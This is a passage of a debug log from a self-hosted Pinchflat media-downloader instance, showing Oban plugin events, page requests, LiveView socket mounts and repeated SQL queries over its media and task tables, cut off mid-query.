{"source":"oban","duration":108,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:36:27.304 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:57.305 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.803 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:37:07.954 [info] GET / 17:37:07.954 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:37:07.954 [debug] QUERY OK source="settings" db=0.0ms idle=1074.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:07.954 [debug] QUERY OK source="media_profiles" db=0.0ms idle=954.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:37:07.954 [debug] QUERY OK source="sources" db=0.0ms idle=954.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:37:07.960 [debug] QUERY OK source="media_items" db=5.6ms idle=954.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:37:07.960 [debug] QUERY OK source="media_items" db=0.4ms idle=79.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:37:07.961 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:07.961 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:07.961 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:07.961 [debug] QUERY OK source="media_items" db=0.2ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:37:07.963 [debug] QUERY OK source="media_items" db=1.1ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:37:07.963 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:37:07.967 [debug] QUERY OK source="media_items" db=3.1ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:37:07.970 [debug] QUERY OK source="media_items" db=3.2ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:37:07.970 [debug] QUERY OK source="tasks" db=0.0ms idle=8.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:37:07.971 [info] Sent 200 in 16ms 17:37:08.755 [info] CONNECTED TO Phoenix.LiveView.Socket in 14µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "YCAiJAdABA0vDRYhJwATRx4dOXw2FB0Z7Slfc3GeuLZd_kY4fgnNOamm", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://roku.hartupee.com/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://roku.hartupee.com/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 17:37:08.784 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "WsNBdsChZALExkJsxzW2yupt", "media_state" => "downloaded"} 17:37:08.784 [debug] QUERY OK source="media_items" db=0.2ms idle=821.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:37:08.786 [debug] QUERY OK source="media_items" db=1.5ms idle=820.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:37:08.786 [debug] QUERY OK source="sources" db=0.1ms idle=819.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:37:08.786 [debug] Replied in 2ms 17:37:08.786 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "WsNBdsChZALExkJsxzW2yupt", "media_state" => "pending"} 17:37:08.788 [debug] QUERY OK source="media_items" db=1.2ms idle=816.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:37:08.789 [debug] QUERY OK source="media_items" db=1.4ms idle=817.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:37:08.789 [debug] Replied in 2ms 17:37:08.790 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "WsNBdsChZALExkJsxzW2yupt"} 17:37:08.790 [debug] QUERY OK source="tasks" db=0.0ms idle=5.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:37:08.790 [debug] Replied in 228µs 17:37:12.653 [info] GET / 17:37:12.653 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:37:12.654 [debug] QUERY OK source="settings" db=0.1ms idle=768.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:12.654 [debug] QUERY OK source="media_profiles" db=0.0ms idle=654.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:37:12.654 [debug] QUERY OK source="sources" db=0.0ms idle=654.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:37:12.656 [debug] QUERY OK source="media_items" db=2.1ms idle=654.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:37:12.657 [debug] QUERY OK source="media_items" db=0.3ms idle=656.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:37:12.657 [debug] QUERY OK source="settings" db=0.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:12.657 [debug] QUERY OK source="settings" db=0.0ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:12.657 [debug] QUERY OK source="settings" db=0.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:12.658 [debug] QUERY OK source="media_items" db=0.3ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:37:12.658 [debug] QUERY OK source="media_items" db=0.4ms idle=1.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:37:12.659 [debug] QUERY OK source="sources" db=0.1ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:37:12.661 [debug] QUERY OK source="media_items" db=1.3ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:37:12.664 [debug] QUERY OK source="media_items" db=2.6ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:37:12.664 [debug] QUERY OK source="tasks" db=0.0ms idle=6.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:37:12.664 [info] Sent 200 in 11ms 17:37:13.139 [info] CONNECTED TO Phoenix.LiveView.Socket in 14µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "PnlpASc4VGgeBQ1dHgMTCxUoKFE2B3Mao1PQMqa2HMT4Z3GLJxadEd9j", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://roku.hartupee.com/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://roku.hartupee.com/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 17:37:13.170 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "QH9PjI5ZVHYiD0TG_PI5scJp", "media_state" => "downloaded"} 17:37:13.171 [debug] QUERY OK source="media_items" db=0.3ms idle=511.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:37:13.172 [debug] QUERY OK source="media_items" db=0.4ms idle=510.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:37:13.172 [debug] QUERY OK source="sources" db=0.0ms idle=508.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:37:13.172 [debug] Replied in 1ms 17:37:13.172 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "QH9PjI5ZVHYiD0TG_PI5scJp", "media_state" => "pending"} 17:37:13.174 [debug] QUERY OK source="media_items" db=1.4ms idle=508.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:37:13.176 [debug] QUERY OK source="media_items" db=1.4ms idle=288.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:37:13.176 [debug] Replied in 3ms 17:37:13.176 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "QH9PjI5ZVHYiD0TG_PI5scJp"} 17:37:13.176 [debug] QUERY OK source="tasks" db=0.0ms idle=4.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER 